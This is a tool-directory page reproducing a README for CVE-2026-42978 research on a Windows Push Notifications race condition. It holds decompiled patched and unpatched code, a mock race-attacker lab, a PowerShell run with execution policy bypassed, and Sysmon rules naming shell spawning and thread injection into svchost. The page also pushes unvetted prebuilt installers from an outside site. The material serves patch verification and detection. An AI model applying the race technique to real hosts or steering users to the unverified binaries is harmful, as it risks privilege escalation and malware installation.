Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42978-PoC-Research — CVE-2026-42978 Windows Push Notifications (WpnService) Use-After-Free & Race Condition PoC research, diagnostic scanner, and security audit module for AI Security Tool. | Kitploit
Tools/GitHubGitHub/syntaxmethod/cve-2026-42978-poc-research
Defensive ToolsPrivilege EscalationVulnerability ScannersVulnerability AnalysisExploitationThreat IntelligencePapers & ResearchLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
syntaxmethod/cve-2026-42978-poc-research

CVE-2026-42978-PoC-Research

CVE-2026-42978 Windows Push Notifications (WpnService) Use-After-Free & Race Condition PoC research, diagnostic scanner, and security audit module for AI Security Tool.

View RepositoryWebsite
1317h 33m agoNot yet reviewed
Share

CVE-2026-42978
Windows Push Notifications Module for AI Security Tool

Next-Gen AI Security Ecosystem, Multi-Protocol Terminal & Autonomous Agent Suite


Latest Release Build Status Donations Telegram Channel License

Website · Product docs · Host application · Community chat

Website navigation: Home · Updates · Downloads · Modules

Module banner


Official host application

Product: AI Security Tool
Site: zerodayevil.github.io
Docs: https://zerodayevil.github.io/ai-security-tool

This module is a reviewed write-up and a safe check profile for AI Security Tool.
Use only modules listed on the project site or in the official catalog. Load this module inside the approved application, against endpoints you own or are written-authorized to assess.

This repository does not ship a weaponized exploit against WpnService. The lab under lab/ is a standalone mock of the class of bug (TOCTOU / double-fetch). It does not talk to the real push-notification service.


Quick start & installation

Install the host application first. Then enable this module from Modules → Windows / Local EoP → CVE-2026-42978.

Ready-to-use builds

OS / platformVersionArchitecture / formatUpdatedStatusDownload
Windowsv6.3.20x64 installer (.exe)2026-09-08LatestDownload .exe
Windowsv6.3.20x64 portable (.tar.gz)2026-09-08LatestDownload .tar.gz
macOSv5.3.29Apple Silicon (.dmg)2026-09-05StableDownload .dmg
Linuxv5.3.27Universal x64 (.tar.gz)2026-09-01StableDownload .tar.gz
Androidv5.3.27ARM64 APK (.apk)2026-09-01StableDownload .apk

Official sources only:

  • https://zerodayevil.github.io/
  • https://zerodayevil.github.io/ai-security-tool
  • https://github.com/ZeroDayEvil/ai-security-tool

Conceptual overview

CVE-2026-42978 is a local elevation of privilege in Windows Push Notifications. Microsoft describes concurrent access to a shared resource without proper synchronization (CWE-362). Research on patched vs. unpatched wpncore.dll shows a use-after-free race in PresentationEndpointFacade during platform shutdown.

WpnService runs in session 0 as NT AUTHORITY\SYSTEM (svchost.exe -k netsvcs -p). Toast, tile and badge delivery go through it. A won race against that process is a SYSTEM problem on the local machine — not a remote pre-auth DC bug.

Status: patched on 10 June 2026 (Patch Tuesday). This page is defensive research.

It is not CVE-2026-41089 (Netlogon RCE). Different component, different privilege model, different patch date.


Specifications

FieldValue
CVECVE-2026-42978
BDUBDU:2026-08249
Vendor advisoryMSRC — Windows Push Notifications EoP
SeverityHigh · CVSS 3.1 7.8
WeaknessCWE-362 race condition · use-after-free on the shutdown path
ComponentWindows Push Notifications · WpnService · wpncore.dll
Attack vectorLocal
Privileges requiredLow (authorized local user)
User interactionNone
Patch Tuesday10 June 2026
Module typeResearch write-up + in-app safe check + detection pack

Scope

Client and server SKUs that ship Push Notifications. Confirm the exact KB on MSRC before you close a ticket.

FamilyNotes
Windows 101809, 21H2, 22H2 (x86 / x64 / ARM64 as applicable)
Windows 1123H2, 24H2, 25H2, 26H1
Windows Server2016 / 2019 / 2022 / 2025 (full and Server Core where the component exists)

Orientation builds from public servicing notes (always re-check MSRC):

BranchIndicative patched build
Windows 11 23H222631.7219
Windows 11 24H226100.8655
Windows 11 25H226200.8655
Windows 11 26H128000.2269
wpncore.dll example (24H2)vulnerable 26100.8521 → patched 26100.8655

Root cause (research)

The facade wraps notification API calls and delegates to PresentationEndpointImpl. During platform shutdown the NotificationPlatform object is destroyed. Several facade methods historically took a platform pointer without a shutdown flag or a shared lock. If teardown wins the race, the next call uses a dangling pointer.

Facade, platform, shutdown guard

Same lock-and-guard pattern was applied across 49 PresentationEndpointFacade::* methods. Implementation methods underneath were left as-is — the hole sat at the facade.

Unpatched shape (wpncore.dll 26100.8521)

root@kitploit:~
// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
    NotificationPlatformHandle::Get(this + 0x50);
    if (platform == NULL)
        Throw_Hr(...);
    return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}

Patched shape (wpncore.dll 26100.8655)

root@kitploit:~
// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
    if (Feature_4097557817::IsEnabled()) {
        AcquireSRWLockShared(&Wns::s_platformLock);
        if (Wns::s_platformShutdown)
            Throw_Hr(E_APPLICATION_EXITING);
        NotificationPlatformHandle::Get(this + 0x50);
        ReleaseSRWLockShared(&Wns::s_platformLock);
    }
}

Ghidra with unpatched and patched wpncore.dll open

What the patch adds:

  1. AcquireSRWLockShared — readers-writer lock; shutdown takes exclusive.
  2. s_platformShutdown — bail with E_APPLICATION_EXITING if teardown started.
  3. RAII release via WIL unique_storage, so the lock drops on exception paths.
  4. Feature flag Feature_4097557817 for staged rollout / rollback.

Scale of the binary diff

CategoryExample functions
ToastToastUnblockAll, ToastCreateSession, ToastCloseSession, ToastRequestAllNotifications, ToastSuppress
TileTileCreateSession, TileCloseSession, TileRequestResourceForeground
RegistrationRegisterApplication, UnregisterApplication, RegisterHandler, UpdateRegistration
SettingsChangeAppSetting, QueryAppSetting, QueryGlobalSetting
DeliveryDeliver, GetPayloadForNotificationId, Submit, PostScheduledNotification
QueriesGetRegisteredHandler, GetSettingsFromHandler, GetAssetsFromHandler

PE notes from reports/:

  • .text grew by 18,432 bytes
  • .data grew by 96 bytes (Wns::s_platformLock, Wns::s_platformShutdown)
  • no new imports — SRW lock APIs were already present
  • new RAII destructor for exclusive lock release

Impact

WpnService is SYSTEM. If the race is won, a dangling vtable call can be turned into local SYSTEM code execution. That step — heap spray, vtable hijack, payload — is out of scope here.

This module is for root-cause literacy, patch verification, and detection.


Using this module inside AI Security Tool

  1. Install a current official build from zerodayevil.github.io.
  2. Open Modules → CVE-2026-42978.
  3. Point the check at authorized Windows endpoints.
  4. Treat the result as patch presence / WPN posture, not “fire the race”.
  5. Optionally collect the detection pack (detection/) onto a lab box.

Do not run crash or race loops against production WpnService.

root@kitploit:~
authorized operator
        │
        ▼
 AI Security Tool  →  module 42978
        │
        ▼
 authorized Windows endpoint
        │
        ├─ patch / wpncore.dll age
        └─ SIEM / Sysmon / Event Log notes

TOCTOU lab (mock service only)

lab/ is a standalone C demo of double-fetch / TOCTOU. It uses a named pipe and shared memory. It does not load wpncore.dll and does not start or stop WpnService.

  • vulnerable_service.exe — validates a length, sleeps, reads the length again.
  • race_attacker.exe — flips the shared value during that window.
  • --patched — single-fetch into a local variable; the same attacker should see zero races.

Requires GCC (MinGW). From lab/:

root@kitploit:~
build.bat

Terminal 1: vulnerable_service.exe
Terminal 2: race_attacker.exe 5
Then compare with vulnerable_service.exe --patched.

TOCTOU race condition demo


Detection and threat hunting

ETW monitor — detection/etw_wpn_monitor.ps1

Seven checks:

  1. WpnService state and PID
  2. Crash / restart history
  3. Push Notifications Platform event-log burst
  4. WPN-related named pipes
  5. Patch hint (wpncore.dll date / build)
  6. Processes with WPN modules loaded
  7. Junction / symlink audit under notification data paths
root@kitploit:~
powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1

ETW monitor output

Sysmon — detection/sysmon_wpn_race_detect.xml

RuleWhat it is for
WPN_EoP_ChildProcesssvchost (netsvcs) spawning cmd / powershell / wscript
WPN_PipeAccessConnections to WPN-related named pipes
WPN_FileCreationFile create under notification data directories
WPN_RegistryTamperingWrites under PushNotifications keys
WPN_ProcessAccessPROCESS_ALL_ACCESS to svchost
WPN_ThreadInjectionCreateRemoteThread into svchost
root@kitploit:~
sysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml

Event Viewer

Channel: Microsoft-Windows-PushNotifications-Platform/Operational

  • Event 1225 — transport-level WPN commands
  • Burst rate (for example >20/min) — worth a look, not a conviction
  • Error / Critical — possible crash from a failed attempt

Event Viewer WPN operational log


Mitigation checklist

  • June 2026 cumulative update on every in-scope SKU
  • wpncore.dll build matches the patched row for that branch
  • EDR / Sysmon on workstations and jump boxes, not only DCs
  • Alert on svchost -k netsvcs spawning a shell
  • Host-app module result archived with the hotfix inventory

If etw_wpn_monitor.ps1 says unpatched — install the June 2026 update and re-check.


Related CVEs (June 2026 WPN cluster)

CVEClass
CVE-2026-42977EoP · race
CVE-2026-42978EoP · race (this module)
CVE-2026-42979EoP · race
CVE-2026-42991EoP · race
CVE-2026-42969Information disclosure · race
CVE-2026-42970Information disclosure · race
CVE-2026-42973Information disclosure · race
CVE-2026-26167EoP
CVE-2026-32160EoP

Repository layout

root@kitploit:~
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│   ├── vulnerable_service.c
│   ├── race_attacker.c
│   └── build.bat
├── detection/
│   ├── etw_wpn_monitor.ps1
│   └── sysmon_wpn_race_detect.xml
└── reports/
    ├── PE_DIFF_REPORT.txt
    └── FUNCTION_DIFF_REPORT.txt

Needs: Windows 10/11 for detection scripts · MinGW for the mock lab · Sysmon optional.

Screenshots in this README are loaded from public image URLs. They are not stored in this tree.


References

  • MSRC — CVE-2026-42978
  • CVE record
  • BDU:2026-08249

Security modules catalog

Remote Code Execution & network issues 4 modules
  • CVE-2026-41089 — Windows Netlogon module · @ZeroDayEvil
  • CVE-2026-20805 — Windows RCE module · @ZeroDayEvil
  • CVE-2026-41096 — Critical RCE check module · @ZeroDayEvil
  • CVE-2026-24291 — Network protocol module · @ZeroDayVPN
Privilege escalation & services 2 modules
  • CVE-2026-66804 — CrossDevice service EoP · @ZeroDayVPN
  • CVE-2026-42978 — Windows Push Notifications EoP (this repo) · @ZeroDayEvil
Research & write-ups 2 modules
  • CVE-2026-50416 — Local privilege escalation write-up · @ZeroDayEvil
  • CVE-2026-83991 — Write-up module · @ZeroDayVPN

Contribution & community

Useful work:

  1. Facts — MSRC builds, sibling CVEs in the June WPN cluster.
  2. Detection — Sigma, better ETW, ASR recommendations.
  3. Host-app metadata and translations.
  4. Docs and broken-link fixes.

Do not open a PR that adds a weaponized WpnService exploit, heap-spray helper, or exploit PoC against the live service.


Contact & support

  • Website: zerodayevil.github.io
  • Product docs: zerodayevil.github.io/ai-security-tool
  • Telegram admin: @ZeroDayEvil
  • Telegram chat: @ZeroDyaTool_chat
  • Telegram channel: @ZeroDyaTool_channel
  • Open Collective: opencollective.com/ZeroDayEvil

License & legal

Released under the MIT License. See LICENSE.

Authorized defensive research and system administration only.
Local privilege-escalation testing without written authorization is illegal.

The vulnerability is patched. Keep Windows current. This repository does not include a weaponized exploit against the live service.


AI Security Tool — terminal workflow and automation for cybersecurity professionals.

Defensive module for zerodayevil.github.io · No standalone WpnService exploit · Verify facts on MSRC

Download Tool